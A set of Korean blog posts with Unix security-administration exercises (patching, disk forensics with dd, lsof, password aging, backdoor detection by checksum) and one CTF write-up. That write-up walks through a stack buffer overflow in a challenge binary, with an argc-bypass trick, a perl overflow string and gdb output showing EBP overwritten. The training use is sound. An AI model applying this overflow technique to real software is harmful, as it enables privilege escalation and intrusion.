티스토리 툴바


/*
 http://sosal.tistory.com/
 * made by so_Sal
 */


솔라리스 2.8 시스템을 운영중에 파일프린팅에 사용되는 lp라는 root setuid
프로그램이 버퍼오버플로우 취약점이 있는 것으로 알려졌다.
하지만 파일 프린팅을 해야되기 때문에 이 프로그램을 제거할 수는 없고,
시스템의 용도때문에 root setuid를 제거할수도 없다.
이 lp라는 프로그램에 대해여 적절한 보안해결책을 모색하시오.
참고로, 다행히 OS제작사에서는 이 프로그램의 보안버전(patch)를 최근에
109320-04 패치번호로 발표된바 있으며,
이 패치파일을 /var/sadm/spool/patch/109320-04.zip 에 다운로드 받아놓았다.

lp라는 파일을 확인해봤습니다.



lp로 무언가를 하는것은 아닌 것 같네요.

# cd /var/sadm/spool/patch  

# pwd
/var/sadm/spool/patch                                                                                           

# ls -al
총 808
drwxrwxrwx   3 root     other        512  1월 19일  04:23 .
drwxrwxrwx   3 root     other        512  1월  7일  17:44 ..
-rwxr--r--   1 root     other     400049   1월 19일  04:17 109320-04.zip
-rw-r--r--   1 root     other        416     1월 19일  04:17 log
#

압축파일은 unzip 명령어로 간단하게 압축해제

# unzip ./109320-04

# ls -al
총 808
drwxrwxrwx   3 root     other     512      1월 19일  04:23 .
drwxrwxrwx   3 root     other     512      1월  7일  17:44 ..
-rwxr-xr-x   1 root     other       512      1월 19일  04:17 109320-04
-rwxr--r--   1 root     other       400049  1월 19일  04:17 109320-04.zip
-rw-r--r--   1 root     other       416       1월 19일  04:17 log
#


솔라리스 명령어 patchadd

# man patchadd
NAME
     patchadd - apply a patch package to a Solaris 2 or Solaris 7 system


#patchadd /var/sadm/spool/patch/109320-04

#finish
저작자 표시 비영리 변경 금지
Posted by sosal

댓글을 달아 주세요

/*
 http://sosal.tistory.com/
 * made by so_Sal
 */


침해 사고가 발생한 시스템에서 증거 확보 및 차후 분석을 위해서 디스크
이미지를 복사하려고 한다.

다음 조건을 만족하도록 dd 를 이용하여 백업을 수행하고
생성된 디스크 이미지 파일의 md5 체크섬을 계산하라.
(백업 이미지는 자신의 홈디렉토리에서만 생성 가능하다.)

<조건>
1. dd를 사용하여 바이트 단위로 복사
2. 복사 대상 파티션 : /home
3. 생성된 디스크 이미지 파일이름 : victim.data.dd




해킹사고가 발생하였을시, 현재 컴퓨터 상태를 분석하기 위해 필히 복사를 해야한다.
포렌식 도중에 OS 환경이 바뀔 시, 증거자료로 사용할 수 없게되기 때문이다.

그럼 디스크 이미지를 복사하는 방법은? : 'dd 명령어'

문제와 직접적인 관련은 없지만, 일반적으로 이미지를 복사하기 전에
리눅스가 설치된 파티션의 시작 실린더 번호와 끝 실린더 번호를 기록해야한다. 'fdisk 명령어'

[root@sosal tmp]# fdisk

Usage: fdisk [-l] [-b SSZ] [-u] device
E.g.: fdisk /dev/hda  (for the first IDE disk)
  or: fdisk /dev/sdc  (for the third SCSI disk)
  or: fdisk /dev/eda  (for the first PS/2 ESDI drive)
  or: fdisk /dev/rd/c0d0  or: fdisk /dev/ida/c0d0  (for RAID devices)

fdisk -l /dev/hda > /tmp/partition-info.txt

// man page

       -v     버전 정보를 보여주고 마친다.

       -l     현재 시스템의 파티션 테이블을 나열하고 마친다. 계산되는 장 치 는
              다 음과 같다.  /dev/hda, /dev/hdb, /dev/sda, /dev/sdb, /dev/sdc,
              /dev/sdd, /dev/sde, /dev/sdf, /dev/sdg, /dev/sdh

       -s파티션
              도스파티션이 아니면(가령, 파티션 ID가 10보다 크면), 그 파티션 의
              크기가 출력된다. 이 값은 보통 mkfs(8) 풀그림에서 사용된다.

하드이미지의 파티션 정보를 보기
[root@sosal tmp]# fdisk -l /dev/hda

Disk /dev/hda: 40.0 GB, 40060403712 bytes
255 heads, 63 sectors/track, 4870 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   Id  System
/dev/hda1   *           1          13      104391   83  Linux
/dev/hda2              14        4870    39013852+  8e  Linux LVM

파티션의 크기 출력 ( -l 옵션에서도 다 확인이 가능한 내용)
[root@sosal tmp]# fdisk -s /dev/hda2
39013852

이렇게, 파티션정보를 확인했으며, dd 명령어를 이용하여, 하드디스크를 이미지로 복사해보자.

dd 명령어 옵션
// man page
if=file : 지정한 파일로부터 읽는다.
of=file : if='file' 에서 지정한 파일로부터 불러들인다.
ibs=size : 지정한 사이즈만큼 읽는다.
obs=size : 지정한 사이즈만큼 쓴다.
bs=size : 지정한 사이즈만큼 읽고 쓴다.
count=n : 입력블록의 ibs크기만큼 복사한다.
seek=blocks : 출력 시작에서 blocks 단위 만큼 ibs 크기를 건너띈다.
.. 이하 옵션에 대해서는 man 페이지 참조

하드디스크를 복사한다는 가정하에, df 명령어를 이용하여 한번더 하드디스크 디바이스를 확인해볼 수 있다.

[root@sosal tmp]# df
Filesystem                                     1K-blocks      Used Available Use% Mounted on
/dev/mapper/VolGroup00-LogVol00    36248264   5871268  28505944   18% /
/dev/hda1                                           101086      35241      60626   37% /boot
tmpfs                                                  387516            0    387516    0% /dev/shm


dd if=/dev/hda1 of=/tmp/backup.image
: if=/dev/hda1 // hda1 로부터 읽어와서
: of=/tmp/backup.image // /tmp/backup.image라는 파일로 이미지 저장



[root@igrus tmp]# file ./backup.image
./backup.image: Linux rev 1.0 ext3 filesystem data (needs journal recovery)

그럼 이미지를 디바이스로 복구하기 위해선
dd if=/tmp/backup.image of=/dev/hda1
이렇게 거꾸로 써주면 된다.

위에서 작성한 파티션 정보를 'fdisk -l /dev/hda > /tmp/partition-info.txt'
이용하여, fdisk를 이용하여 똑같이 만들어줘야만 한다..

그럼 문제를 풀어보자.
df 명령어를 통해, 우리가 이미지를 복사하고자 하는 위치의 디스크 정보를 얻자.



우리가 복사하고자하는 곳은 /home 이므로,
if=/dev/dsk/c1t5d0s3 으로부터 파일을 읽어야 하며,

바이트단위로 복사하여야 하기 때문에 bs=1,

victim.data.dd 라는 이름으로 저장하라고 했기에,
of=./victim.data.dd 옵션을 준다.

dd bs=1 if=/dev/dsk/c1t1d0s6 of=./victim.data.dd 를 입력한다.
음... 한참 걸린다 ㅠ






저작자 표시 비영리 변경 금지
Posted by sosal

댓글을 달아 주세요

/*
 http://sosal.tistory.com/
 * made by so_Sal
 */

smp2010 중, 6번 바이너리 해킹문제 입니다.
문제파일입니다.


리눅스 서버에서 wget 툴을 사용하여 바이너리를 일단 받죠. (위 파일의 url임)
wget http://sosal.tistory.com/attachment/cfile23.uf@167E83114CEC1DCD1F4271

받은 파일의 이름을 간단하게 바꾸고, file 명령어로 실행이 가능한 파일인지 확인 후
실행해봤습니다. Segmentation fault! 작렬하네요.
argv를 넣어보니, 뭔가 인자를 발견했다 하고 바로 꺼지네요..?



(일단 설치하고 문제 프로그램의 이름을 myfile로 수정하여 공격하겠습니다.)



매개변수를 여러개 넣어도 같은 결과네요.
리눅스에서 바로 분석하긴 힘드니 IDA를 이용해서
이 문제의 프로그램을 분석해봐야겠습니다. ㅎㅎ



ELF 파일 형식으로 로드해서.. 켜서 어셈블리를 분석해봤습니다.
우선 처음 메인루틴입니다.



단순히 인자를 받아 있으면 어떤 함수 (vuln1) 실행, 없으면 종료. 하는 프로그램입니다.
좀더 자세히 보기위해 IDA에서 제공하는 헥스레이를 이용하여
C언어 (수도코드) 로 확인해 봅시다.



main(int argc,char *argv[]) 겠네요.
매개변수가 존재하면, exit(0), 종료를 해버립니다 --;
argument를 넣지 않아야 vuln1이 실행되는데, 여기서 a2+4를 넘기네요.
(a2 + 4) 인 이유는, argv[0]는 파일 이름, argv[1]은 첫번째 매개변수이므로
메인함수에서는 첫번째 매개변수를 함수로 전달하는 역할을 하고 있네요.

그러니까 문제는 argument 수는 0개 (즉 파일이름만..)를 넣으면서
argument에 쉘코드나 여타 헥사를 집어넣어서 공격하란말 --;
쉘에서는 당연히 불가능한 일이겠죠.
프로그래밍, execl() 시스템콜을 이용하여야만 가능할 것 같습니다.
exec 계열로, 원하는 위치의 프로그램을 실행하면서, argv[0]부터 마음대로 수정할 수 있기 때문에
// (argv[0]은 기본적으로 파일 이름이 들어가도록 되어있습니다.)
argv[0]에 NULL을, argv[1]에다 값을 삽입해주면 우리가 원하는 일을 할 수 있겠죠.

vuln1 함수에 들어가 헥스레이로 c로 변환해보니



매개변수 그대로를 가져와 다시 vuln2 함수로 또다시 전달하네요.



마지막 vuln2 함수에서 dest라는 녀석에 strcpy 한 후 return 0;
여기서 vuln2 라는 녀석의 리턴값을 공격하면 되겠네요.
BOF 취약점이 가볍게 보입니다.

다시 어셈블리로 vuln2 함수를 볼까요?









Dest의 위치가 -64h (100) 이므로
100byte + 4byte (EBP) + Shellcode (RET)
를 넣어주면 공격이 될 것으로 예상해 봅니다.














그럼 일단 이문제에서 if( argc > 1) exit(0); 이 루틴을 피해야만 하는데,
그러기 위해서는 프로그래밍이 필요하다고 말했습니다.

이 루틴을 피하는 프로그램을 만들어 보겠습니다. (문제 프로그램의 이름은 myfile 입니다.)


execl에 의해 실행 되는데, argv[0]에 NULL을 넣기 때문에,
실행될 myfile (공격대상) 의 argc는 0이 됩니다.
따라서 found argument 조건문을 통과할 수 있습니다.

/* 
 * gcc attack.c -o attack
 * execve 함수를 이용하여, 마지막 인자로 argv[1] (사용자의 입력)을 전달.
 * execl 같은 함수를 이용하면 되지 않더군요..
 * vortex 워게임 4번과 유사한 문제입니다.
 */




/*
 * gcc test.c -o test
 * execve에 의해 실행되는 test 프로그램이며,
 * 제대로 인자가 넘어왔는지 확인해주는 역할을 합니다.
 * /




result of attack file.



argc를 속이는데 성공하였고, 사용자의 입력에 따라 perl이나 python으로도
argv[1] 위치에도 원하는 문자열을 줄 수 있는 프로그램을 만들었습니다.

이제 타겟 프로그램이 test가 아닌, myfile로 옮겨주면, 공격이 시작됩니다.


/*
 * gcc attack.c -o attack
 * 공격파일입니다.
 * argv[1]번에 perl 이나 python으로 자유롭게 헥사값을 넣을 수 있습니다.
 * 공격하는 바이너리는 myfile 입니다.
 */
 





이제부터 폭풍의 디버깅이 시작됩니다 --;
sosal@kaspyx-desktop:~$   gdb ./attack
(gdb) catch exec // execve 함수가 실행한 뒤에, 제어권을 잃지 않도록 하는 명령어
Catchpoint 1 (exec)
(gdb) r `perl -e 'print "\x55"x100,"\x66"x4,"\x77"x4'`
// 위에서 예상한 바로, 100byte + 4byte (ebp) + 4byte(ret),
// 즉 0x77777777이 리턴되길 기대해봅시다.

Starting program: /home/sosal/attack `perl -e 'print "\x55"x100,"\x66"x4,"\x77"x4'`
Executing new program: /home/sosal/myfile
Catchpoint 1 (exec'd /home/sosal/myfile), 0xb7833810 in ?? ()
   from /lib/ld-linux.so.2
(gdb) disas main // catch exec 덕분에 제어권을 가져왔습니다.
Dump of assembler code for function main:
0x08048419 <main+0>:    lea    0x4(%esp),%ecx
0x0804841d <main+4>:    and    $0xfffffff0,%esp
0x08048420 <main+7>:    pushl  -0x4(%ecx)
0x08048423 <main+10>:   push   %ebp
0x08048424 <main+11>:   mov    %esp,%ebp
0x08048426 <main+13>:   push   %ecx
0x08048427 <main+14>:   sub    $0x4,%esp
0x0804842a <main+17>:   mov    %ecx,-0x8(%ebp)
0x0804842d <main+20>:   mov    -0x8(%ebp),%eax
0x08048430 <main+23>:   cmpl   $0x1,(%eax) // 반드시 통과할 것입니다. (execve)
0x08048433 <main+26>:   jle    0x804844f <main+54>
0x08048435 <main+28>:   sub    $0xc,%esp
0x08048438 <main+31>:   push   $0x8048540
0x0804843d <main+36>:   call   0x804830c <puts@plt>
0x08048442 <main+41>:   add    $0x10,%esp
0x08048445 <main+44>:   sub    $0xc,%esp
0x08048448 <main+47>:   push   $0x0
0x0804844a <main+49>:   call   0x804831c <exit@plt>
0x0804844f <main+54>:   mov    -0x8(%ebp),%edx
0x08048452 <main+57>:   mov    0x4(%edx),%eax
0x08048455 <main+60>:   add    $0x4,%eax
0x08048458 <main+63>:   mov    (%eax),%eax
---Type <return> to continue, or q <return> to quit---
0x0804845a <main+65>:   sub    $0xc,%esp
0x0804845d <main+68>:   push   %eax
0x0804845e <main+69>:   call   0x8048403 <vuln1>
//여기서 break * 걸고, 함수로 진입(si)

0x08048463 <main+74>:   add    $0x10,%esp
0x08048466 <main+77>:   mov    $0x0,%eax
0x0804846b <main+82>:   mov    -0x4(%ebp),%ecx
0x0804846e <main+85>:   leave
0x0804846f <main+86>:   lea    -0x4(%ecx),%esp
0x08048472 <main+89>:   ret
End of assembler dump.
(gdb) b *main+69 // call vuln1 에서 break* 걸기
Breakpoint 2 at 0x804845e
(gdb) c // vuln1 실행 바로전까지 가기
Continuing.

Breakpoint 2, 0x0804845e in main ()
Current language:  auto; currently asm
(gdb) si //vuln1 함수로 진입
0x08048403 in vuln1 ()
(gdb) disas vuln1
Dump of assembler code for function vuln1:
0x08048403 <vuln1+0>:   push   %ebp
0x08048404 <vuln1+1>:   mov    %esp,%ebp
0x08048406 <vuln1+3>:   sub    $0x8,%esp
0x08048409 <vuln1+6>:   sub    $0xc,%esp
0x0804840c <vuln1+9>:   pushl  0x8(%ebp)
0x0804840f <vuln1+12>:  call   0x80483e4 <vuln2>
0x08048414 <vuln1+17>:  add    $0x10,%esp
0x08048417 <vuln1+20>:  leave
0x08048418 <vuln1+21>:  ret
End of assembler dump.
(gdb) b *vuln1+12 // vuln2 함수 실행 직전에 break *
Breakpoint 3 at 0x804840f
(gdb) c // vuln2 실행 바로전까지 가기
Continuing.

Breakpoint 3, 0x0804840f in vuln1 ()
(gdb) si // vuln2 함수로 진입
0x080483e4 in vuln2 ()
(gdb) disas vuln2
Dump of assembler code for function vuln2:
0x080483e4 <vuln2+0>:   push   %ebp
0x080483e5 <vuln2+1>:   mov    %esp,%ebp
0x080483e7 <vuln2+3>:   sub    $0x78,%esp
0x080483ea <vuln2+6>:   sub    $0x8,%esp
0x080483ed <vuln2+9>:   pushl  0x8(%ebp)
0x080483f0 <vuln2+12>:  lea    -0x64(%ebp),%eax
0x080483f3 <vuln2+15>:  push   %eax
0x080483f4 <vuln2+16>:  call   0x80482fc <strcpy@plt>
0x080483f9 <vuln2+21>:  add    $0x10,%esp
0x080483fc <vuln2+24>:  mov    $0x0,%eax
0x08048401 <vuln2+29>:  leave
0x08048402 <vuln2+30>:  ret // 우린 리턴직전 ebp와 ret 값만 확인하면 된다.
End of assembler dump.
(gdb) b *vuln2+30 // Ret까지 이동
Breakpoint 4 at 0x8048402
(gdb) c
Continuing.

Breakpoint 4, 0x08048402 in vuln2 () // 리턴하기 직전 도착
(gdb) info reg
eax            0x0      0
ecx            0xbffcc693       -1073953133
edx            0x6d     109
ebx            0xb781eff4       -1216221196
esp            0xbffcc6fc       0xbffcc6fc
ebp            0x66666666       0x66666666 // ebp가 0x66으로 덮혔다!
esi            0x8048490        134513808
edi            0x8048330        134513456
eip            0x8048402        0x8048402 <vuln2+30>
eflags         0x282    [ SF IF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb) q

자. 덮는걸 확인했으니 이제 저 ret값에 쉘코드만 넣어주면 된다.

저작자 표시 비영리 변경 금지
Posted by sosal

댓글을 달아 주세요

/*
 http://sosal.tistory.com/
 * made by so_Sal
 */

고객으로부터 web server 게시판으로 upload가 되지 않는다는 항의가 접수 되었다.
해당하는 서비스는 당신이 관리하는 솔라리스 시스템의 /var 파티션과 관련이 있다.

문제의 시스템을 살펴 본 결과, 해당 파티션의 사용 가능한 공간
(available disk space)이 0 이었고, 여유 공간이 전혀 없는 상태였다.

그런데, 특이한 점은 해당 파티션 내에 문제를 발생시킬만한 크기의 파일을 찾을 수 없었다.

모든 상황을 고려해 볼때, 모종의 프로세스가 unlink된 어떤 파일에 대고
dummy data를 계속적으로 write하고 있을 가능성이 높은 것으로 생각된다.
해당 프로세스를 찾아 죽이고, 문제가 되는 파일을 탐지하라.

-----

문제의 목적은, dummy data를 계속적으로 write하여 파티션의 공간을 모두 잡아먹는
프로세스를 찾아 (DOS 공격?) 죽이고, 문제가 되는 파일을 찾아내는 것입니다.
해당 서비스가 /var 위치에 파티션 되어있으므로, 그 위치에서 동작하는 프로세스 들이
어떤 파일들을 사용하고 있는가? 를 보면 된다.

lsof는 List of File의 약자로,
프로세스에서 어떤 파일이 사용되고 있는지, 어떤 소켓이 열려있는지 확인할 수 있다.

lsof -i // 모든 internet, network file들을 확인
lsof -i@165.246.xx.xxx // 현재 서버가 ip와 연결되어있는 파일, 또는 소켓들을 확인
lsof -u "user_id" // 사용자가 사용하고있는 파일들을 확인해준다.
lsof -p "pid" // 특정 프로세스가 사용하고있는 파일확인
lsof "file_name" // 특정 파일을 엑세스한 프로세스, 사용자 확인
lsof "path_dir" // 특정 위치에 있는 모든 파일, 혹은 프로세스가 사용하는 파일 확인

lsof 명령어를 통해 /var 파티션 위에 올라와있는 모든 파일(혹은 프로세스) 들이
사용하고있는 파일들을 살펴보자.

그러나 lsof 명령어가 실행이 안된다. 아마 PATH 환경변수에 lsof 명령어가 있는
디렉토리 위치가 추가가 되어있지 않은듯 하므로, 직접 위치를 찾아
절대경로를 이용하여 실행하도록 하자.




lsof 명령어를 사용하여 /var 파티션에서 돌아가는 파일(프로세스)들이
어떤 파일을 사용하고있는지 확인하자.



pid 46번 vfsadmd.6 이란 녀석이 분명 어떤 파일을 열고 있는데, 파일명이 없다.
unlink된 파일에다가 지속적인 데이타를 write 한다고 했는데, 아마 이 프로세스인것을 예측할 수 있다.

일단 이 프로세스에 대해서 더욱 자세히 알기위해 pid 46번이라는 프로세스를 다시 lsof로 확인해보자.
(pid는 물론 바뀔 수 있으므로, vfsadmd.6 이 가지는 pid를 정확하게 확인해주세요)



vfsadmd.5 라는 이름의 의심스러운 프로세스 바이너리 위치를 찾았다.
/usr/bin/vfsadmd.5 라는 녀석인데,
보통 파일 시스템콜을 사용하여 파일 디스크립터를 만들 때
open("Path_of_binary", O_CREAT.... ..  . .  . .  )
등을 사용한다. 따라서 저 바이너리 속에 문자열로 의심되는 아스키값을 뽑아내면
저녀석이 write하고있는 파일의 위치를 알아낼 수 있다.
(strings 명령어)



이를 통해 vfsadmd.5 라는 녀석이 어떤 파일에다가 write 를 하고있는지 알게되었으므로,
프로세스를 종료시키고, 문제가 되는 파일(즉 /dev/dummy.log)을 답으로 인증하면
문제는 풀리게 된다.





이 문제의 다른 풀이를 보니, 출제자의 의도대로 푼건 아니지만
굉장히 좋은 아이디어로 푼 풀이과정이 있다. (실무에선 도움이 되지 않을듯..)



/var 파티션에 오픈되어있는 파일을 찾기 위해서 문제를 시작하기 전의 프로세스 목록과
문제를 시작한 후의 프로세스 목록을 비교하여, 문제가 원하는 프로세스를 찾아내는 방법이다 --;
위치까지 적나라하게 들어나니, 이렇게 풀면 금방 풀 수 있겠다.

수고하셨습니다.
저작자 표시 비영리 변경 금지
Posted by sosal

댓글을 달아 주세요

  1. 궁금이 2011/06/10 18:17  댓글주소  댓글쓰기 수정/삭제

    퍼갑니다.

/*
 http://sosal.tistory.com/
 * made by so_Sal
 */


.rhosts 파일은 보안상 별로 권장되지 않은 파일임에도 불구하고 일부 사용자들은
계속 사용하는 경향이 있다. yspace라는 계정 사용자가 홈디렉토리에 만든
.rhosts을 삭제하고 앞으로도 만들지 못하도록 조치하시오.




.rhosts 같은 파일들이 계속 생성되지 않게 하기 위해서,
타 권한으로 보통 같은이름의 디렉토리를 생성합니다.
또는 /dev/null로 심볼릭 링크를 거는 경우도 있던것 같던데..

여튼.. 같은이름의 디렉토리를 만들어주고
삭제할 수 없도록 퍼미션 설정만 해주면 해결되는 문제입니다.



난이도는 고급인데.. 흠;
디렉토리에 퍼미션 설정이 안되서 찾아보니 안에 파일을 하나 만들면 되네요.
일반적으로는 퍼미션 설정이 가능하니까 신경쓰지 안으셔도 됩니다. 
수고하셨습니다.
저작자 표시 비영리 변경 금지
Posted by sosal

댓글을 달아 주세요

/*
 http://sosal.tistory.com/
 * made by so_Sal
 */


관리중인 솔라리스 시스템에 계정을 가지고 있는 내부사용자들에게 패스워드를
자주 바꿀것을 공지하고 있으나 일부 사용자들이 잘 따라주지 않아서
부득이 강제로 패스워드를 바꿔야하는 제한기간을 설정해야 한다.
yspace라는 계정의 패스워드 정책을 다음과 같이 강제 설정하시오.
- 패스워드를 바꾼지 14일이 되면 무조건 새 패스워드로 바꿔야함.
- 패스워드를 새로 바꾼지 만 하루가 지나기 전에는 패스워드를 변경할 수 없음.
(단, yspace라는 계정에 대해서만 적용되어야 하고 타 계정에 영향을 주어서는 안됨)

[passwd]
시스템 모든 계정은 /etc/passwd파일에 관련 항목을 가지고 있다.
이 파일에는 각 행마다 한 사용자씩 사용자명, 실제 이름 등
각 계정과 관련된 몇가지 특성이 명시되어 있다.
(사용자의 유저이름, 암호, uid, gid등이 저장되어있다.)

account:password:UID:GID:GECOS:directory:shell
accout : 사용자이름
password : 패스워드(다음에 설명할 shadow로 링크될 경우 x로 표시된다)
UID, GID : 사용자ID, 그룹ID
GECOS : 사용자 정보
directiory : 사용자의 홈 디렉토리
shell : 사용자의 기본 shell 프로그램 
 

[shadow]
시스템 접속하는 모든 접속자가 /etc/passwd에 적혀 있는 암호화된 패스워드를 볼 수 있는데,
이것은 보안상 허점이 될 수 있다.
그래서 passwd 파일안에 암호화된 패스워드를 지우고, shadow라는 파일을 만들어 따로 관리한다.
/etc/shadow 파일은 root만이 읽을 수 있다.
(사용자의 암호가 shadow라는 파일에 암호화 되어 저장되어있다.)


account:encryptedpassword:last:may:must:warn:expire:disable:reserved:
account : 사용자이름
encryptedpassword : /etc/password의 패스워드를 md5 알고리즘을 통해 암호화 시킨 것이다.

last : 최근 패스워드 수정일
may : 패스워드 변경 최소일(기재된 수/day/ 이전에 패스워드를 변경할 수 없음)
must : 패스워드 변경 최대일(기재된 날 이후로 패스워드를 변경하여야만 함)
warn : 패스워드 만료 경고기간(만료일을 몇일전부터 경고할 지를 나타냄)
expire : 기재된 날 기간 만큼 로그인하지 않았을 때, 아이디는 정지된다.
disable : 기준날 이후로 계정의 만료기간
reserved : 예약필드 이다.
 
위의 /etc/shadow 파일은 root 권한자만이 접근이 가능하며, root도 접근한다 하여도 암호를 알아낼 수 없다.(but, root는 암호를 수정할 수는 있다.)
리눅스는 위와 같은 두 개의 파일로 사용자의 정보와 암호를 관리하게 된다.



yspace에 대한 계정의 shadow 파일만 수정하면 해결 가능하겠네요.





finish!

저작자 표시 비영리 변경 금지
Posted by sosal

댓글을 달아 주세요

  1. makeityourring diamond engagement rings11 2011/12/18 02:17  댓글주소  댓글쓰기 수정/삭제

    이 웹사이트는 독특한 주제가 명확하게이 블로그에서 설명했다 제공하고 있습니다.
    나는 간절히이 블로그에서 여러 정보를 기다리고이고 위대한 기술은이 블로그에 표시됩니다.

  2. ulltrabook notebook tipis harga murah terbaik 2012/01/21 19:37  댓글주소  댓글쓰기 수정/삭제

    와~ 정말 유용하네요 ㅎㅎ 덕분에 좋은 프로그램 알아갑니다~ 감사합니다 ><

/*
 http://sosal.tistory.com/
 * made by so_Sal
 */


Solaris시스템(13.155.33.234)을 관리하던 중 H보안회사(233.235.231.233)로부터
다음과 같은 항의메일을 받았다.
<당신의 컴퓨터로부터 주기적인 해킹시도가 있으므로 다음 로그를 참고하여
시스템을 보안조치해달라.>
시스템을 점검하여 해커가 설치한 해킹프로그램을 삭제하시오.참고로 이 시스템이
셋업된 날짜는 2001년 10월1일이며, H사로부터 보내온 로그파일은 다음과 같다.
Oct 26 18:07:45 233.235.231.233 rpc.statd[189]: gethostbyname format string attack from 13.155.33.234
Oct 26 18:08:14 233.235.231.233 rpc.statd[189]: gethostbyname format string attack from 13.155.33.234


즉, 2001년 10월 1일부터 서버가 시작되었으므로..
2001/10/2 ~ 2001/10/26 사이에 해커가 해킹 프로그램을 설치했다는데..
그 프로그램은 format string 버그가 있는 파일인가 보네요.

10월 1일에 시스템이 구축되었으므로, 1일부터 검색하게 되면,
거의 모든 파일을 찾는것과 다름없습니다.
따라서 2일을 기준으로 검색합니다.

find 명령어로 특정 날짜를 검색하려면, -newer 옵션을 이용해야합니다.
10월 2일 날짜를 가진 파일, 10월 26일 날짜를 가진 파일을 생성하여
그 사이에 있는 파일들을 출력하도록 하면 되겠네요.

우선 검색 기간의 파일만들기.
1. 2001년 10월 2일 00시 00분 //
 # touch -t 200110020000 start_time
(파일이름은 start_time 이며, -t 옵션을 이용하여 시간소인을 강제로 줌)
 # touch -t 200110260000 end_time


find에서 newer 옵션에 대해서 간단하게 말하면
-newer {file_name} 여기서 file_name의 파일보다 최근에 수정된것을 찾아야 합니다.
즉, 위에서 만든 start_time 파일의 날짜 이후로 모든 파일을 출력하겠습니다.

하지만 10월 26일 이후에 만들어진 파일들은 검색할 필요가 없으니,
! -newer 명령어를 이용하여, 26일 이후의 파일들은 걸러냅니다.


★  이제 검색하기(tmp로 예를들겟음.검색위치는 변경하세요)
# find / -type f -newer start_time ! -newer end_time -ls 2>/dev/null | more

-type f 는 파일만 찾는것이고 이걸 생략해도됩니다.
파일이름보고 검색기준이 아니고 파일이 생성된 시간을 보고 검색이 됩니다.
| more 은, 화면이 초과했을때 출력을 잠시 멈추고 키 입력을 기다리는 명령어입니다.

2>/dev/null 은 오류를(2) /dev/null로 보내라 (>) 의미입니다.
//입력 : 0, 출력 :1, 에러 : 2


2258710    6 -rwxrwxrwx   1 2001     other        5580 Oct 26  2001 /usr/share/lib/rpc-exp
수고하셨습니다.

저작자 표시 비영리 변경 금지
Posted by sosal

댓글을 달아 주세요

/*
 http://sosal.tistory.com/
 * made by so_Sal
 */

솔라리스의 NFS(Network File System)을 이용하여 NFS서버로부터 파일시스템을
마운트하는 NFS클라이언트 시스템을 구축하고 싶다.
현재 네트웍에 존재하는 NFS서버의 hostname은 nserver 이며
NFS서버에서 제공하는 파일시스템은 /export/share이다.
그런데 위 NFS서버에서는 kerberos를 이용한 암호화 NFS만을 제공한다고 하며,
본 시스템(hostname은 nclient)은 이미 위 NFS서버의 principal에 등록이 된
상태이며, NFS서버로부터 kerberos ticket도 이미 받은 상태이다.
Kerberos의 암호화 옵션을 이용하여
위 NFS서버의 파일시스템을 본 시스템의 /home2로 mount하시오.
단, 이문제에서는 현재 접속된 쉘 상태에서 일회성으로 mount하면 되며,
시스템이 부팅될때마다 항상 mount되도록 설정할 필요는 없다.



mount는 disk device를 사용하기 위해 tree 구조의 임의의 디렉토리로 연결시키는 것을 하는 명령어이다

-F 'file system type' 파일 시스템 타입 지정
-o : share될 파일시스템에 대한 사용자의 접근제어 // 이문제에선 kerboros를 이용한 암호화
mount 명령어에 아무런 argument도 주지 않으면 현재 mount된 file system을 보여준다.
ex) # mount
Mount 명령어는 각 file system의 mount된 정보를 /etc/mnttab로 읽어서 보여준다.


어쨋건, nfs 파일시스템인 /export/share를 /home2 에다가 마운트 하며, kerboros 암호화 옵션을
추가해주면 되는거네요..

mount -F nfs -o kerberos nserver:/export/share /home2


http://blog.naver.com/bigdra/140003152119
mount, umount 명령어가 아주 잘 정리되어 있습니다.
저작자 표시 비영리 변경 금지
Posted by sosal

댓글을 달아 주세요

/*
 http://sosal.tistory.com/
 * made by so_Sal
 */


Solaris시스템에 해커가 침입하여 root 권한을 빼앗기는 보안사고가 발생하였다.
해커가 침입을 한 상태에서 설치한 백도어를 찾아내야 한다.
그런데 이번 해킹패턴을 보면 /usr/sbin/ 디렉토리 있는 네트웍서비스 프로그램중에
하나가 백도어로 바뀐것으로 강하게 의심된다.
다행히도 해킹사고가 발생하기 이전에  /backup/usr/sbin 이라는 디렉토리를 만들어서
원본파일들을 이미 복사해 놓았다. 원본파일과 비교하여 백도어 프로그램을 찾아내시오.
(찾아낸 후에 정답확인 프로그램을 실행하여 백도어 프로그램 파일명을 입력하시오).


cksum이라는 명령어를 살펴보겠습니다.


파일에 CRC 체크섬과 바이트 개수를 출력한다네요.

CRC checksum은 순환 중복검사라고도 불리며, 네트워크 등을 통해
데이터를 전송할 때 전송된 데이터에 오류가 있는지를 확인하기 위한 체크값을 결정하는 방식이라고 합니다.
어떤 값이 변했는가? 를 확인할 때 사용되는 방식인가봅니다.

/usr/sbin/ 풀더와, /backup/usr/sbin/의 파일들중,
checksum이 다른 파일들만 가져오면, 어떤 파일이 변질되었는지 쉽게 찾을 수 있겠습니다.

/usr/sbin 풀더에 있는 모든 파일들과
/backup/usr/sbin 풀더에 있는 모든 파일들의 chksum 결과를, /tmp에 저장하겠습니다.
cksum의 결과를 텍스트로 저장한다면, 더욱 비교하기 쉬우니까요.

# cksum /usr/sbin/* > /tmp/hacked
# cksum /backup/usr/sbin/* > /tmp/origin

각 파일들의 cksum들을 파일로 저장하였는데,
cksum 명령어를 실행하면서, 파일의 read권한이 없다면 오류를 내뱉습니다.
결국 오류는 신경쓰지 않아도 되는~ ^^

이제 diff 명령어로 두 파일을 비교하면 됩니다.
하지만, cksum은 파일의 절대경로를 출력하기 때문에,

1175318849    30928   /usr/sbin/usermod             //hacked
1175318849    30928   /backup/usr/sbin/usermod //origin

두 파일을 바로 비교할 수 없습니다.
origin에 있는 /backup 이라는 문자열을 모두 지울 수 있다면 좋겠네요.
vi 편집기에서 쉽게 바꿀 수 있습니다.



vi로 문자열 찾아 바꾸기
:% s/찾을 문자열/바꿀 문자열/g


/backup을 지우려면 (/는 특수문자이기 때문에 \/ 로 입력)
vi 편집기로 origin 파일을 실행한 후
:% s/\/backup//g

:wq 로 저장 후 종료

이제, diff로 두 파일을 비교하여, result라는 파일로 저장합니다.
diff ./origin ./hacked > result

result 파일에 잡다한 문자를 제거하면


이 속에 답이 있습니다.

수고하셨습니다.
저작자 표시 비영리 변경 금지
Posted by sosal

댓글을 달아 주세요

/*
 http://sosal.tistory.com/
 * made by so_Sal
 */

